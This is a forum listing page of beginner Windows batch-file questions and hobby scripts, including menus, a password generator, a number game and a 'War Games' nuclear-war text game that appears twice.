Once again, I need Batch Help

Is there a command that can count the times a code "plays/runs" and then do something with that number? such as....@ECHO OFF echo.Echo HiEcho. pause >nulEcho.:againstart Blah.txtgoto :againIf goto :again = 5 times goto :end <---- concept Idea:end echo.echo now its opened 5 timesecho.pauseNow if it went to again 5 times is there a way that i can send it another anchor in the script?

Posted by spiker 10 years ago  |  last reply 6 years ago


Is it just me or this doesn't work..batch?

 I tried making a batch and it looks something like this (it is a subsystem)Bold words need paying attention to: :mainmenu echo choose your selection: echo 1 apps echo 2 editor echo 3 phun not done echo 4 sites not done set /p choice= if %choice%==1 goto :apps if %choice%==2 goto editor if %choice%==3 if %choice%==4 echo error wrong choice pause goto mainmenu I would like to KNOW the goto and heading does not work! Please tell, I need it for my subsystem and you will recieve credit for it when I post the 'ible UPDATE Does 3 and 4 have to be filled in?

Asked by knex_mepalm 8 years ago  |  last reply 6 years ago


Website Selector

Hello everyone I came up with this simple but very useful batch file. Copy the Text you see below and then paste it to notepad and save it as .bat FOR EXAMPLE===> Website Selector.bat COPY   ll   \/ @echo off title Websites color 0a cls :back echo now pick a website!!! echo 1=www.google.com echo 2=www.youtube.com echo 3=www.yahoo.com echo 4=www.facebook.com echo 5=www.twitter.com echo 6=www.instructables.com SET /p pick= if %pick%==1 goto 1 if %pick%==2 goto 2 if %pick%==3 goto 3 if %pick%==4 goto 4 if %pick%==5 goto 5 if %pick%==6 goto 6 :1 start www.google.com goto stuff :2 start www.youtube.com goto stuff :3 start www.yahoo.com goto stuff :4 start www.facebook.com goto stuff :5 start www.twitter.com goto stuff :6 start www.instructables.com goto stuff :stuff echo press 1 to go back to choosing a website or 2 to exit SET /p go= if %go%==1 goto back if %go%==2 goto exit :back goto back :exit goto end :end exit

Posted by el-xavi26 6 years ago  |  last reply 5 years ago


how can i make a color change menu in a batch file?

This is what i have madet but i cant se why it wont change color echo off goto 1 :greens color 0A goto 1 :1 @echo.1) Crasher @echo.2) just for fun @echo.3) shutdown @echo.4) spiral color 0A @echo.5) matrix(g) @echo.6) matrix(r) @echo.7) matrix(b) @echo.8) change color @echo.9) not done @echo.10) not done @echo.11) not done @echo.12) not done set pass= choice /c 123456789 /n /m "Choose a task" set pass=%errorlevel% if errorlevel 1 set goto=crash if errorlevel 2 set goto=fun if errorlevel 3 set goto=3 if errorlevel 4 set goto=spiral if errorlevel 5 set goto=matrix(g) if errorlevel 6 set goto=matrix(r) if errorlevel 7 set goto=matrix(b) if errorlevel 8 set goto=color if errorlevel 9 set goto=done if errorlevel 10 set goto=done if errorlevel 11 set goto=done if errorlevel 12 set goto=done goto %goto% :crash start Crashthecomputer.bat goto done :fun start fun.bat goto done :3 shutdown -f goto done :spiral start spiral.bat goto done :matrix(g) start matrixg.bat goto done :matrix(r) start matrixr.bat goto done :matrix(b) start matrixb.bat goto done :color cls @echo.1) green @echo.2) red @echo.3) blue @echo.4) gule @echo.5) cyen @echo.6) purpel set passs= choice /c 1234567 /n /m "Choose a task" set passs=%color% if color 1 set goto=greens :done @echo thanks for using my creation pause

Asked by Emil ØmarkJ 2 years ago


i am making a password generator for cld, and i need to know how to have cmd choose from a random set of words. thanks.

Here is my code: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ title password generator xl color 0a @echo off :suggestions cls echo suggestions: echo here are suggestions for getting a good password: echo -when it asks your name, try a 4 letter name, shorten yours, or use 1 from tv. echo -when it gives your password, press enter until you get one with 3 numbers. pause goto notes :notes cls echo notes: echo --pressing enter at the end will only change the numbers, not the letters. echo --you can get a password with up to five numbers-- echo --if you dont like your password, try again-- pause goto prt1 :prt1 cls echo what is your name? set /p name= goto prt2 :prt2 cls echo are you a boy or a girl? set /p gend= if %gend% == boy goto boyy if %gend% == girl goto girll :girll cls echo favorite fruit out of these? (type letter of choice) echo a. apple echo b. banana echo c. cherry echo d. strawberry echo e. blackberry echo f. cranberry echo g. lemon echo h. lime echo i. kiwi echo j. raspberry set /p fruit= if %fruit% == a goto apple if %fruit% == b goto banana if %fruit% == c goto cherry if %fruit% == d goto strawberry if %fruit% == e goto blackberry if %fruit% == f goto cranberry if %fruit% == g goto lemon if %fruit% == h goto lime if %fruit% == i goto kiwi if %fruit% == j goto raspberry :boyy cls echo favorite fruit out of these? (type letter of choice) echo a. apple echo b. banana echo c. cherry echo d. strawberry echo e. blackberry echo f. cranberry echo g. lemon echo h. lime echo i. kiwi echo j. raspberry set /p fruit= if %fruit% == a goto apple1 if %fruit% == b goto banana1 if %fruit% == c goto cherry1 if %fruit% == d goto strawberry1 if %fruit% == e goto blackberry1 if %fruit% == f goto cranberry1 if %fruit% == g goto lemon1 if %fruit% == h goto lime1 if %fruit% == i goto kiwi1 if %fruit% == j goto raspberry1 :apple cls echo %name%paris%random% pause goto apple :banana cls echo %name%nabie%random% pause goto banana :cherry cls echo %name%rabs%random% pause goto cherry :strawberry cls echo %name%sifty%random% pause goto strawberry :blackberry cls echo %name%rafty%random% pause goto blackberry :cranberry cls echo %name%risty%random% pause goto cranberry :lemon cls echo %name%rifty%random% pause goto lemon :lime cls echo %name%lissy%random% pause goto lime :kiwi cls echo %name%sest%random% pause goto kiwi :raspberry cls echo %name%bera%random% pause goto raspberry :apple1 cls echo %name%pelt%random% pause goto apple1 :banana1 cls echo %name%nabe%random% pause goto banana1 :cherry1 cls echo %name%rabb%random% pause goto cherry1 :strawberry1 cls echo %name%sift%random% pause goto strawberry1 :blackberry1 cls echo %name%raft%random% pause goto blackberry1 :cranberry1 cls echo %name%rist%random% pause goto cranberry1 :lemon1 cls echo %name%rift%random% pause goto lemon1 :lime1 cls echo %name%rask%random% pause goto lime1 :kiwi1 cls echo %name%swerv%random% pause goto kiwi1 :raspberry1 cls echo %name%silge%random% pause goto raspberry1 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ as you can see, i need to have cmd choose from a random set of names for each fruit. because i dont want it to be the same every time and i want this to be my ultimate batch program!!

Asked by Tyler14414 4 years ago


Why won't this batch script work? Answered

I am making an alarm/timer script, and this line isn't working.: IF '%TIME%'=='0:18:05.20' (GOTO yes) ELSE (GOTO LOOP) It works when I put %DATE% in instead like this: IF '%DATE%'=='03/01/2011' (GOTO yes) ELSE (GOTO LOOP) It quits really quickly with the first line, but i was able to see what is says, and it says 0:18:05.20 was unexpected at this time. What's going wrong?

Asked by XOIIO 8 years ago  |  last reply 7 years ago


war games simulation batch file

@echo off title thermonuclear war color 0a :top echo would you like to play a game ? set /p ans= if not defined ans  (goto please ) if %ans%==yes (goto yes ) if %ans% NEQ yes (goto exit ) :please cls echo please type a responce echo (no caps) pause goto top :exit exit :yes cls echo welcome what is your name? set /p name= if not defined name ( goto please ) if %name% EQU mythbatcher (goto russialoser ) cls echo welcome %name% echo. echo thermonuclear war simulator activated echo. echo %name% you have the first move echo. echo who would you like to fight for? echo 1=America   2=Russia set /p side= if not defined side (goto please ) if %side%==2 (goto america ) if %side%==1 (goto russia ) :america cls echo %name% you are fighting for Russia                    echo.                           America - defcon 5 echo you have the first move echo how many icmb's would you like to fire 1~5 set /p num= if %num%==1 (goto one ) if %num%==2 (goto two ) if %num%==3 (goto three ) if %num%==4 (goto four ) if %num%==5 (goto five ) :one cls echo icbm fired at New Yourk City                            America defcon 4 echo estimated time untill  impact 30 seconds ping localhost -n 4 > Nul cls echo impact pause goto america 2 :two    cls                              echo two icbm's fired at New York City New York and Los angles Califorina                  echo time untill impact 30 seconds                                       America defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto america2 :three cls echo three icbm's fired at New York City New York and Losangles Califorina and Seatle Washington echo time untill impact 30 seconds                                        America defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto america2 :four cls echo four icbm's fired at New York City New York and Losangles Califorina and Seatle Washington and Pitsburg Penslevania echo time untill impact 30 seconds                                America defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto america2 :five cls echo five icbm's fired at New York City New York and Losangles Califorina and Seatle Washington and Pitsburg Penslevania and Boston Masetucetts echo time untill impact 30 seconds                             America defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto america2 :america2 cls echo %name% you have another move                      America - defcon 4 echo. echo how many icmb's would you like to fire 1~2 set /p num= if %num%==1 (goto one1 ) if %num%==2 (goto two1 ) :one1 cls echo one icbm fired at Washington D.C. echo time untill impact 30 seconds                       America - defcon 3 ping localhost -n 4 >Nul cls echo impact pause goto america3 :two1 cls echo two icbm's fired at Washington D.C. and Miami Florida      echo  time untill impact 30 seconds          America - defcon 3 ping localhost -n 4 > Nul echo impact pause goto america3 :america3 cls echo %name% you have another turn echo i can not fire untill i reach defcon1 echo. echo you may now fire a icbm or a nuclear war head echo 1-icbm  2-nuclear war head set /p wepon= if not defined wepon ( goto please ) if %wepon%==1 (goto icbm ) if %wepon%==2 ( goto nuc ) :icbm cls echo one icbm fired at  the Smithsonian archive bunker echo time untill impact 30 seconds                    America - defcon 2 cls ping localhost -n 4 > Nul echo impact pause goto defcon1 :nuc cls echo one nuclear war head fired at the US Capital          America - defcon 2 echo time untill impact 30 seconds ping localhost -n 4 > Nul cls echo impact pause goto defcon1 :defcon1 cls echo. echo America totlaly devestated echo. echo America - defcon 1 echo. echo time untill impact 30 seconds echo. echo you may wait untill impact or fire your remaning war heads echo    wait               fire set /p desion= if not defined desion (goto please ) if %desion%==wait (goto Russiawait ) if %desion%==fire ( goto Russiafire ) :Russiawait cls echo time untill impact of american icbm's 10 seconds ping localhost -n 4 > Nul cls echo impact echo all remaning defences destroyed echo total devestation is imenent pause goto end :Russsiafire cls echo remaning misles fired echo time untill impact 30 seconds ping localhost -n 4 > Nul echo impact pause goto Russiawait :end cls echo. echo *--------------------------------------------------------------* echo      GAME OVER echo *--------------------------------------------------------------* echo. echo game results echo. echo AMERICA - LOSE echo. echo RUSSIA - LOSE echo. echo total result NO WINNER echo. echo an interisting game, echo the only way to win is not to play. echo. pause goto top2 :top2 cls echo would you like to play again? echo. set /p gameagain= if not defined gameagain (goto please ) if %gameagain% EQU yes (goto top ) if %gameagain% NEQ yes (goto exit ) :russia cls echo %name% you are fighting for america                    echo.                    Russia - defcon 5 echo you have the first move echo how many icmb's would you like to fire 1~5 set /p num= if %num%==1 (goto one1 ) if %num%==2 (goto two2 ) if %num%==3 (goto three3 ) if %num%==4 (goto four4 ) if %num%==5 (goto five5 ) :one1 cls echo icbm fired at Moscow                       Russia - defcon 4 echo estimated time untill  impact 30 seconds ping localhost -n 4 > Nul cls echo impact pause goto russia 2 :two2    cls                              echo two icbm's fired at Minsk and Moscow          echo time untill impact 30 seconds                                    Russia - defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2 :three3 cls echo three icbm's fired at Minsk and Moscow and Leningrad echo time untill impact 30 seconds                                        America - defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2 :four4 cls echo four icbm's fired at Minsk and Moscow and Leningrad and Kiev echo time untill impact 30 seconds                                America - defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2 :five5 cls echo five icbm's fired at Minsk and Moscow and Leningrad and Kiev and Tashkent echo time untill impact 30 seconds                            Russia -  defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2 :russia2 cls echo %name% you have another move                      Russia - defcon 4 echo. echo how many icmb's would you like to fire 1~2 set /p num= if %num%==1 (goto one11 ) if %num%==2 (goto two11 ) :one11 cls echo one icbm fired at Baku   echo time untill impact 30 seconds                       Russia - defcon 3 ping localhost -n 4 >Nul cls echo impact pause goto russia3 :two11 cls echo two icbm's fired at  Baku and Kharkov echo  time untill impact 30 seconds         Russia - defcon 3 ping localhost -n 4 > Nul echo impact pause goto russia3 :russia3 cls echo %name% you have another turn echo i can not fire untill i reach defcon1 echo. echo you may now fire a icbm or a nuclear war head echo 1-icbm  2-nuclear war head set /p wepon1= if not defined wepon1 ( goto please ) if %wepon1%==1 (goto icbm1 ) if %wepon1%==2 ( goto nuc1 ) :icbm1 cls echo one icbm fired at  Gorki echo time untill impact 30 seconds                    Russia - defcon 2 cls ping localhost -n 4 > Nul echo impact pause goto defcon1r :nuc1 cls echo one nuclear war head fired at Novosibrisk         Russia - defcon 2 echo time untill impact 30 seconds ping localhost -n 4 > Nul cls echo impact pause goto defcon1r :defcon1r cls echo. echo Russia totlaly devestated echo. echo Russia - defcon 1 echo. echo time untill impact 30 seconds echo. echo you may wait untill impact or fire your remaning war heads echo    wait               fire set /p desion1= if not defined desion1(goto please ) if %desion1%==wait (goto Americawait ) if %desion1%==fire ( goto Americafire ) :Americawait cls echo 30 seconds untill Russian icbm impact ping localhost -n 4 > Nul echo impact pause goto end :Americafire cls echo all remanig icbm's fired at Russian states echo time untill impact 30 seconds ping localhost -n 4 > Nul cls goto Americawait exit :russialoser cls echo welcome mythbatcer you are fighting for america                    echo.                    Russia - defcon 5 echo you have the first move echo how many icmb's would you like to fire 1~5 set /p num= if %num%==1 (goto one11 ) if %num%==2 (goto two21 ) if %num%==3 (goto three31 ) if %num%==4 (goto four41 ) if %num%==5 (goto five51 ) :one11 cls echo icbm fired at Moscow                       Russia - defcon 4 echo estimated time untill  impact 30 seconds ping localhost -n 4 > Nul cls echo impact pause goto russia 2m :two21   cls                              echo two icbm's fired at Minsk and Moscow          echo time untill impact 30 seconds                                    Russia - defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2m :three31 cls echo three icbm's fired at Minsk and Moscow and Leningrad echo time untill impact 30 seconds                          America - defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2m :four41 cls echo four icbm's fired at Minsk and Moscow and Leningrad and Kiev echo time untill impact 30 seconds                                America - defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2m :five51 cls echo five icbm's fired at Minsk and Moscow and Leningrad and Kiev and Tashkent echo time untill impact 30 seconds                            Russia -  defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2m :russia2m cls echo %name% you have another move                      Russia - defcon 4 echo. echo how many icmb's would you like to fire 1~2 set /p num= if %num%==1 (goto one111 ) if %num%==2 (goto two111 ) :one111 cls echo one icbm fired at Baku   echo time untill impact 30 seconds                       Russia - defcon 3 ping localhost -n 4 >Nul cls echo impact pause goto russia3m :two111 cls echo two icbm's fired at  Baku and Kharkov echo  time untill impact 30 seconds         Russia - defcon 3 ping localhost -n 4 > Nul echo impact pause goto russia3m :russia3m cls echo %name% you have another turn echo i can not fire untill i reach defcon1 echo. echo you may now fire a icbm or a nuclear war head echo 1-icbm  2-nuclear war head set /p wepon11= if not defined wepon11 (goto please ) if %wepon11%==1 (goto explosionboom ) if %wepon11%==2 (goto explosion ) :explosionboom cls echo one icbm fired at  Gorki echo time untill impact 30 seconds                    Russia - defcon 2 ping localhost -n 4 > Nul echo impact pause goto defcon1m :explosion cls echo one nuclear war head fired at Novosibrisk         Russia - defcon 2 echo time untill impact 30 seconds ping localhost -n 4 > Nul cls echo impact pause goto defcon1m :defcon1m cls echo. echo Russia totlaly devestated echo. echo Russia - defcon 1 echo. echo time untill impact 30 seconds echo. echo you may wait untill impact or fire your remaning war heads echo    wait               fire set /p desion11= if not defined desion11(goto please ) if %desion11%==wait (goto waitforboom ) if %desion11%==fire ( goto firethosebooms ) :waitforboom cls echo 30 seconds untill Russian icbm impact ping localhost -n 4 > Nul echo impact pause goto ENDM :firthosebooms cls echo all remanig icbm's fired at Russian states echo time untill impact 30 seconds ping localhost -n 4 > Nul cls goto wait22 :endm cls echo. echo American scientest have descoverd the [x-wav] lazar echo this lazar can fit into a small simple packege and emitts no radiation echo The [x-wav] lazar can burn an area of sixty thousand miles across echo in under an  hour echo We have assembled an army of U-2 Dragon ladies outfitted with this revolutionary technology echo We will strik on your command echo. echo type strik to fire the  [x-wav]. This is our finest hour, America lies in your hands now echo good luck %name% echo. set /p command= if not defined command (goto please ) if %command% EQU strik (goto imposoble ) if %command%==wait (goto end ) if %command%==fire (goto imposoble ) :please1 cls echo incorrect responce pause goto endm :imposoble cls echo [X-WAV] SUCCESFUL echo You have won!!!!!!!!!!!! echo. echo *--------------------------------------------------------------* echo      GAME OVER         CONGRADULATIONS echo *--------------------------------------------------------------* echo. echo game results echo. echo AMERICA - !!!!!WIN!!!!! echo. echo RUSSIA - LOSE echo. echo total result YOU ARE THE WINNER echo. echo an interisting game, echo the only way to win is not to play. echo. echo or is it echo. echo yu have unlocked a "secret" echo in TBMS V3.0 type secret in the main menu echo somthing interesting migh happen echo. pause goto top2  

Posted by Laserman595 9 years ago  |  last reply 9 years ago


war games simulation batch file

This is a batch file that mocks the movie war games i only used simple commands but it still took about a week to complet post where you think it can be improved i have already improved the impact display but havent posted it yet @echo off title thermonuclear war color 0a :top echo would you like to play a game ? set /p ans= if not defined ans  (goto please ) if %ans%==yes (goto yes ) if %ans% NEQ yes (goto exit ) :please cls echo please type a responce echo (no caps) pause goto top :exit exit :yes cls echo welcome what is your name? set /p name= if not defined name ( goto please ) if %name% EQU mythbatcher (goto russialoser ) cls echo welcome %name% echo. echo thermonuclear war simulator activated echo. echo %name% you have the first move echo. echo who would you like to fight for? echo 1=America   2=Russia set /p side= if not defined side (goto please ) if %side%==2 (goto america ) if %side%==1 (goto russia ) :america cls echo %name% you are fighting for Russia                    echo.                           America - defcon 5 echo you have the first move echo how many icmb's would you like to fire 1~5 set /p num= if %num%==1 (goto one ) if %num%==2 (goto two ) if %num%==3 (goto three ) if %num%==4 (goto four ) if %num%==5 (goto five ) :one cls echo icbm fired at New Yourk City                            America defcon 4 echo estimated time untill  impact 30 seconds ping localhost -n 4 > Nul cls echo impact pause goto america 2 :two    cls                              echo two icbm's fired at New York City New York and Los angles Califorina                  echo time untill impact 30 seconds                                       America defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto america2 :three cls echo three icbm's fired at New York City New York and Losangles Califorina and Seatle Washington echo time untill impact 30 seconds                                        America defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto america2 :four cls echo four icbm's fired at New York City New York and Losangles Califorina and Seatle Washington and Pitsburg Penslevania echo time untill impact 30 seconds                                America defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto america2 :five cls echo five icbm's fired at New York City New York and Losangles Califorina and Seatle Washington and Pitsburg Penslevania and Boston Masetucetts echo time untill impact 30 seconds                             America defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto america2 :america2 cls echo %name% you have another move                      America - defcon 4 echo. echo how many icmb's would you like to fire 1~2 set /p num= if %num%==1 (goto one1 ) if %num%==2 (goto two1 ) :one1 cls echo one icbm fired at Washington D.C. echo time untill impact 30 seconds                       America - defcon 3 ping localhost -n 4 >Nul cls echo impact pause goto america3 :two1 cls echo two icbm's fired at Washington D.C. and Miami Florida      echo  time untill impact 30 seconds          America - defcon 3 ping localhost -n 4 > Nul echo impact pause goto america3 :america3 cls echo %name% you have another turn echo i can not fire untill i reach defcon1 echo. echo you may now fire a icbm or a nuclear war head echo 1-icbm  2-nuclear war head set /p wepon= if not defined wepon ( goto please ) if %wepon%==1 (goto icbm ) if %wepon%==2 ( goto nuc ) :icbm cls echo one icbm fired at  the Smithsonian archive bunker echo time untill impact 30 seconds                    America - defcon 2 cls ping localhost -n 4 > Nul echo impact pause goto defcon1 :nuc cls echo one nuclear war head fired at the US Capital          America - defcon 2 echo time untill impact 30 seconds ping localhost -n 4 > Nul cls echo impact pause goto defcon1 :defcon1 cls echo. echo America totlaly devestated echo. echo America - defcon 1 echo. echo time untill impact 30 seconds echo. echo you may wait untill impact or fire your remaning war heads echo    wait               fire set /p desion= if not defined desion (goto please ) if %desion%==wait (goto Russiawait ) if %desion%==fire ( goto Russiafire ) :Russiawait cls echo time untill impact of american icbm's 10 seconds ping localhost -n 4 > Nul cls echo impact echo all remaning defences destroyed echo total devestation is imenent pause goto end :Russsiafire cls echo remaning misles fired echo time untill impact 30 seconds ping localhost -n 4 > Nul echo impact pause goto Russiawait :end cls echo. echo *--------------------------------------------------------------* echo      GAME OVER echo *--------------------------------------------------------------* echo. echo game results echo. echo AMERICA - LOSE echo. echo RUSSIA - LOSE echo. echo total result NO WINNER echo. echo an interisting game, echo the only way to win is not to play. echo. pause goto top2 :top2 cls echo would you like to play again? echo. set /p gameagain= if not defined gameagain (goto please ) if %gameagain% EQU yes (goto top ) if %gameagain% NEQ yes (goto exit ) :russia cls echo %name% you are fighting for america                    echo.                    Russia - defcon 5 echo you have the first move echo how many icmb's would you like to fire 1~5 set /p num= if %num%==1 (goto one1 ) if %num%==2 (goto two2 ) if %num%==3 (goto three3 ) if %num%==4 (goto four4 ) if %num%==5 (goto five5 ) :one1 cls echo icbm fired at Moscow                       Russia - defcon 4 echo estimated time untill  impact 30 seconds ping localhost -n 4 > Nul cls echo impact pause goto russia 2 :two2    cls                              echo two icbm's fired at Minsk and Moscow          echo time untill impact 30 seconds                                    Russia - defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2 :three3 cls echo three icbm's fired at Minsk and Moscow and Leningrad echo time untill impact 30 seconds                                        America - defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2 :four4 cls echo four icbm's fired at Minsk and Moscow and Leningrad and Kiev echo time untill impact 30 seconds                                America - defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2 :five5 cls echo five icbm's fired at Minsk and Moscow and Leningrad and Kiev and Tashkent echo time untill impact 30 seconds                            Russia -  defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2 :russia2 cls echo %name% you have another move                      Russia - defcon 4 echo. echo how many icmb's would you like to fire 1~2 set /p num= if %num%==1 (goto one11 ) if %num%==2 (goto two11 ) :one11 cls echo one icbm fired at Baku   echo time untill impact 30 seconds                       Russia - defcon 3 ping localhost -n 4 >Nul cls echo impact pause goto russia3 :two11 cls echo two icbm's fired at  Baku and Kharkov echo  time untill impact 30 seconds         Russia - defcon 3 ping localhost -n 4 > Nul echo impact pause goto russia3 :russia3 cls echo %name% you have another turn echo i can not fire untill i reach defcon1 echo. echo you may now fire a icbm or a nuclear war head echo 1-icbm  2-nuclear war head set /p wepon1= if not defined wepon1 ( goto please ) if %wepon1%==1 (goto icbm1 ) if %wepon1%==2 ( goto nuc1 ) :icbm1 cls echo one icbm fired at  Gorki echo time untill impact 30 seconds                    Russia - defcon 2 cls ping localhost -n 4 > Nul echo impact pause goto defcon1r :nuc1 cls echo one nuclear war head fired at Novosibrisk         Russia - defcon 2 echo time untill impact 30 seconds ping localhost -n 4 > Nul cls echo impact pause goto defcon1r :defcon1r cls echo. echo Russia totlaly devestated echo. echo Russia - defcon 1 echo. echo time untill impact 30 seconds echo. echo you may wait untill impact or fire your remaning war heads echo    wait               fire set /p desion1= if not defined desion1(goto please ) if %desion1%==wait (goto Americawait ) if %desion1%==fire ( goto Americafire ) :Americawait cls echo 30 seconds untill Russian icbm impact ping localhost -n 4 > Nul echo impact pause goto end :Americafire cls echo all remanig icbm's fired at Russian states echo time untill impact 30 seconds ping localhost -n 4 > Nul cls goto Americawait exit :russialoser cls echo welcome mythbatcer you are fighting for america                    echo.                    Russia - defcon 5 echo you have the first move echo how many icmb's would you like to fire 1~5 set /p num= if %num%==1 (goto one11 ) if %num%==2 (goto two21 ) if %num%==3 (goto three31 ) if %num%==4 (goto four41 ) if %num%==5 (goto five51 ) :one11 cls echo icbm fired at Moscow                       Russia - defcon 4 echo estimated time untill  impact 30 seconds ping localhost -n 4 > Nul cls echo impact pause goto russia 2m :two21   cls                              echo two icbm's fired at Minsk and Moscow          echo time untill impact 30 seconds                                    Russia - defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2m :three31 cls echo three icbm's fired at Minsk and Moscow and Leningrad echo time untill impact 30 seconds                          America - defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2m :four41 cls echo four icbm's fired at Minsk and Moscow and Leningrad and Kiev echo time untill impact 30 seconds                                America - defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2m :five51 cls echo five icbm's fired at Minsk and Moscow and Leningrad and Kiev and Tashkent echo time untill impact 30 seconds                            Russia -  defcon 4 ping localhost -n 4 > Nul cls echo impact pause goto russia2m :russia2m cls echo %name% you have another move                      Russia - defcon 4 echo. echo how many icmb's would you like to fire 1~2 set /p num= if %num%==1 (goto one111 ) if %num%==2 (goto two111 ) :one111 cls echo one icbm fired at Baku   echo time untill impact 30 seconds                       Russia - defcon 3 ping localhost -n 4 >Nul cls echo impact pause goto russia3m :two111 cls echo two icbm's fired at  Baku and Kharkov echo  time untill impact 30 seconds         Russia - defcon 3 ping localhost -n 4 > Nul echo impact pause goto russia3m :russia3m cls echo %name% you have another turn echo i can not fire untill i reach defcon1 echo. echo you may now fire a icbm or a nuclear war head echo 1-icbm  2-nuclear war head set /p wepon11= if not defined wepon11 (goto please ) if %wepon11%==1 (goto explosionboom ) if %wepon11%==2 (goto explosion ) :explosionboom cls echo one icbm fired at  Gorki echo time untill impact 30 seconds                    Russia - defcon 2 ping localhost -n 4 > Nul echo impact pause goto defcon1m :explosion cls echo one nuclear war head fired at Novosibrisk         Russia - defcon 2 echo time untill impact 30 seconds ping localhost -n 4 > Nul cls echo impact pause goto defcon1m :defcon1m cls echo. echo Russia totlaly devestated echo. echo Russia - defcon 1 echo. echo time untill impact 30 seconds echo. echo you may wait untill impact or fire your remaning war heads echo    wait               fire set /p desion11= if not defined desion11(goto please ) if %desion11%==wait (goto waitforboom ) if %desion11%==fire ( goto firethosebooms ) :waitforboom cls echo 30 seconds untill Russian icbm impact ping localhost -n 4 > Nul echo impact pause goto ENDM :firthosebooms cls echo all remanig icbm's fired at Russian states echo time untill impact 30 seconds ping localhost -n 4 > Nul cls goto wait22 :endm cls echo. echo American scientest have descoverd the [x-wav] lazar echo this lazar can fit into a small simple packege and emitts no radiation echo The [x-wav] lazar can burn an area of sixty thousand miles across echo in under an  hour echo We have assembled an army of U-2 Dragon ladies outfitted with this revolutionary technology echo We will strik on your command echo. echo type strik to fire the  [x-wav]. This is our finest hour, America lies in your hands now echo good luck %name% echo. set /p command= if not defined command (goto please ) if %command% EQU strik (goto imposoble ) if %command%==wait (goto end ) if %command%==fire (goto imposoble ) :please1 cls echo incorrect responce pause goto endm :imposoble cls echo [X-WAV] SUCCESFUL echo You have won!!!!!!!!!!!! echo. echo *--------------------------------------------------------------* echo      GAME OVER         CONGRADULATIONS echo *--------------------------------------------------------------* echo. echo game results echo. echo AMERICA - !!!!!WIN!!!!! echo. echo RUSSIA - LOSE echo. echo total result YOU ARE THE WINNER echo. echo an interisting game, echo the only way to win is not to play. echo. echo or is it echo. echo yu have unlocked a "secret" echo in TBMS V3.0 type secret in the main menu echo somthing interesting migh happen echo. pause goto top2  

Posted by Laserman595 9 years ago  |  last reply 3 years ago


At BAT file programming i wanted to find a file and delete it then goto a page..?

At BAT file programming i wanted to find a file and delete it then goto a preffered page.. i've found: if example.file exists goto a if example.file does not exist goto b but it's only for a single file, doesn't search the whole drive or pc. i've found: dir C:\example.file \s this thing searches whole C drive, but how to make it to go to a preferred page?? any way?? very very thanks in ADVANCE.. :D

Asked by rafsan.samin 3 years ago  |  last reply 3 years ago


Help me at "for" command (Batch/CMD)

Can anyone help me? I've got a problem with the "for" command. I can't include decimals (like 0,1). Here's the code: @echo off :Start cls echo. & echo. echo Let's play a game! It's called echo NUMBER! Type in any number echo between 1 and 10: set/p "choice=>" for /L %%G in (1,1,10) do if %choice%==%%G goto Add :Wrong echo. echo Choose a number between 1 and 10! ping localhost -n >nul 2 goto Start :Add if %choice%==10 goto Tie set one=1 set /a result=%choice%+%one% echo I choose %result%! ping localhost -n >nul 3 goto Loser :Tie echo I choose 10, too! ping localhost -n >nul 3 echo. echo -=-=-=-=-=-TIE-=-=-=-=-=- echo. echo Press ENTER pause>nul goto Again :Loser cls echo. & echo. echo %result% is bigger than %choice%. echo Sorry, you lose. echo Press ENTER pause>nul   goto Again :Again cls echo. & echo. echo Wanna play again? (y/n) set/p "choice1=>" if %choice1%==y goto Start if %choice1%==n goto End :Sorry echo. echo Choose y or n! ping localhost -n >nul 3 goto Again :End exit The problem is at line 9: "for /L %%G in (1,1,10) do if %choice%==%%G goto Add" With (1,1,10) the sysem can only recognise Integers. So, if you know any way to solve that problem or to make the code more compact, please tell me :P PS: I'm from Brazil, so I'm sorry if there are any grammar mistakes.

Posted by Tetheu98 6 years ago  |  last reply 6 years ago


have a question I want batch to do a comand when you use parameters so that when you type in 1 preforms a goto command

So far I hav@echo offecho welcome to brianecho brian will now add 4 1698 timesset/a num=4:furtset/a num=%num%+4echo %num%if %num%==6792 goto :endgoto :furt:endecho you have reached 6792echo continue?set v1=goto :count1set v2=goto :g echo press 1 to continueecho press 2 to stopset/a nu=6792set/a n=0set /p you=if %you%==1 echo %v1% if %you%==2 echo %v2%

Asked by goosegg34 9 years ago  |  last reply 9 years ago


Chat

